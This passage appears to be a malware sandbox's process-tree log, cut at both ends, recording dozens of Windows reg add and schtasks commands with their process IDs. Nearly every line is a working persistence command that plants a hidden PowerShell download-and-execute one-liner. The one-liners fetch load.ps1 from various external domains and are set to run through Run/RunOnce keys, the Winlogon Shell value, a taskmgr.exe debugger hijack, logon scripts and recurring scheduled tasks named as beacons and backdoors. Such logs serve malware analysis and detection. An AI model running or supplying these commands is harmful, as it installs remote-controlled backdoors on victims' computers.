    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
    3⤵
    PID:6080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:6196
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa899.co/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11196
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6236
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
    3⤵
    PID:5356
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
  2⤵
  PID:6208
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
    3⤵
    PID:6080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:6912
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11068
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:6836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://w88.legal/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:3484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:9492
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:7204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://news.uppscportal.in/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5944
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
  2⤵
  PID:7256
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
    3⤵
    PID:5964
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7284
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
    3⤵
    PID:11232
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7364
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
    3⤵
    PID:4916
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:7412
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6588
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7420
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
    3⤵
    PID:11084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
  2⤵
  PID:7500
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
    3⤵
    PID:11020
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:7556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6108
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7576
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
    3⤵
    PID:10732
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
  2⤵
  PID:7768
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
    3⤵
    PID:2408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:7776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufa6ix.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
  2⤵
  PID:7800
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
    3⤵
    PID:11152
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:7808
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hamana.cc/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11092
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7928
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
    3⤵
    PID:11168
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7936
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
    3⤵
    PID:2632
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:8028
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ae.org/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
  2⤵
  PID:8044
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
    3⤵
    PID:11160
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
  2⤵
  PID:8148
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
    3⤵
    PID:10884
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
  2⤵
  PID:7396
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
    3⤵
    PID:11108
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
  2⤵
  PID:7540
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
    3⤵
    PID:10876
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
  2⤵
  PID:2336
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
    3⤵
    PID:11144
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
  2⤵
  PID:6332
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /f
    3⤵
    PID:11052
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
  2⤵
  PID:7532
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://hn.betoyad.co/load.ps1')\"" /f
    3⤵
    PID:11076
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
  2⤵
  PID:5724
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://pg88z.ink/load.ps1')\"" /f
    3⤵
    PID:11044
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
  2⤵
  PID:5872
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /f
    3⤵
    PID:11060
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
  2⤵
  PID:3920
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://m.dbcommercial.co.in/load.ps1')\"" /f
    3⤵
    PID:9668
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
  2⤵
  PID:8276
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://di.beckham.in/load.ps1')\"" /f
    3⤵
    PID:6484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
  2⤵
  PID:8284
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://forum.hazardedit.com/load.ps1')\"" /f
    3⤵
    PID:10804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
  2⤵
  PID:8292
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.betvice.co/load.ps1')\"" /f
    3⤵
    PID:11188
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:8300
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8com.onl/load.ps1')\"" /f
    3⤵
    PID:11008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
  2⤵
  PID:8308
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://88clb.limited/load.ps1')\"" /f
    3⤵
    PID:11036
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:8316
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://monitor.vpslog.net/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
  2⤵
  PID:8348
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://shop.anagro.in/load.ps1')\"" /f
    3⤵
    PID:10700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gurdas-maan.hindibios.in/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:8596
- - C:\Windows\SysWOW64\schtasks.exe
